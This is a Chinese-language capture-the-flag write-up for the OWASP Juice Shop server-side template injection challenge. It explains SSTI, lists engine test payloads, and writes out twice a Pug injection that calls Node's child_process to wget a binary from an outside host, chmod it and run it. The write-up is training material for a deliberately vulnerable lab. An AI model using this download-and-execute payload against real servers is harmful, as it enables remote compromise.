# 【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器

# 【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器

## 0x01 任务简报

<blockquote style="border-left: 5px solid #ff6b6b; background-color: #ffe0e0; padding: 20px; margin: 1.5rem 0; color: #c92a2a; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">🎯</span> 挑战目标
</div>
通过利用任意命令执行，以恶意软件 juicy（juicy malware）感染服务器。
</blockquote>

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 官方提示 (Hints)
</div>
1. "SSTi" 清楚地表明这与 Angular 无关。另外，请确保仅使用我们的非恶意恶意软件。<br>
2. 你既可以通过显而易见的谷歌搜索找到这些恶意软件，也可能偶然闯入某个位置极不恰当的隔离文件夹——里面恰好存放着所需的 URL 链接。<br>
3. 让服务器下载并执行恶意软件是解决这一挑战的关键。<br>
4. 本次挑战中，您无需以任何形式对恶意软件进行逆向工程。该操作将在后续解决"通过服务器请求服务器上的隐藏资源"挑战时被要求。
</blockquote>

---

## 0x02 前置知识

### 什么是 SSTi（Server-Side Template Injection）

服务端模板注入是一种攻击方式，攻击者通过向模板引擎注入恶意代码，使服务器执行任意代码。

**工作原理：**

```
正常模板渲染:
模板: "Hello, {{username}}!"
输入: "Alice"
输出: "Hello, Alice!"

SSTi 注入:
模板: "Hello, {{username}}!"
输入: "{{7*7}}"
输出: "Hello, 49!"  ← 模板引擎执行了计算！
```

### 常见模板引擎的注入语法

| 模板引擎 | 语言 | 测试 Payload | 预期输出 |
|---------|------|------------|--------|
| **Jinja2** | Python | `{{7*7}}` | `49` |
| **Twig** | PHP | `{{7*7}}` | `49` |
| **Pebble** | Java | `{{7*7}}` | `49` |
| **Freemarker** | Java | `${7*7}` | `49` |
| **Velocity** | Java | `#set($x=7*7)${x}` | `49` |
| **Handlebars** | Node.js | `{{#with "7*7"}}{{this}}{{/with}}` | `7*7` |
| **Pug/Jade** | Node.js | `#{7*7}` | `49` |

**本挑战使用的是 Pug 模板引擎（Node.js）**

---

## 0x03 实战：复现漏洞

### 步骤1：发现 SSTi 注入点

在用户个人资料页面的用户名字段中，尝试输入模板注入测试 Payload：

**测试 Payload：**

```
#{1+1}
```

**结果：** 用户名显示为 `2` 而不是 `#{1+1}`，说明模板引擎执行了计算！

![SSTi 测试](../../../../../../public/p/juice-shop-ssti通过服务端模板注入执行任意命令感染服务器/assets/Pastedimage20260417150511.png)

**结论：** 用户名字段存在 SSTi 漏洞，使用的是 **Pug 模板引擎**。

### 步骤2：寻找 juicy malware

**方法1：Google 搜索**

搜索关键词：`juicy malware juice shop`

找到 GitHub 项目：
```
https://github.com/juice-shop/juicy-malware
```

**方法2：访问隔离文件夹**

访问应用的隔离目录：
```
http://127.0.0.1:3000/ftp/quarantine
```

该目录中包含 juicy malware 的 GitHub 链接。

### 步骤3：构造命令执行 Payload

利用 Node.js 的 `child_process` 模块执行系统命令：

```javascript
#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}
```

**Payload 分解：**

| 部分 | 说明 |
|------|------|
| `#{}` | Pug 模板引擎的表达式语法 |
| `global.process` | Node.js 全局进程对象 |
| `mainModule` | 主模块引用 |
| `require('child_process')` | 加载系统命令执行模块 |
| `.exec(...)` | 执行系统命令 |
| `wget -O malware ...` | 下载 malware 文件 |
| `chmod +x malware` | 赋予执行权限 |
| `./malware` | 执行 malware |

**命令执行流程：**

```bash
# 第一步：下载 malware
wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true

# 第二步：赋予执行权限
chmod +x malware

# 第三步：执行 malware
./malware
```

### 步骤4：提交 Payload

将构造的 Payload 填入用户名字段并保存：

```
#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}
```

**结果：** 服务器下载并执行了 juicy malware，挑战完成！🎉

## 参考资源

- [OWASP Juice Shop 官方解决方案 - SSTi](https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_infect_the_server_with_juicy_malware_by_abusing_arbitrary_command_execution)

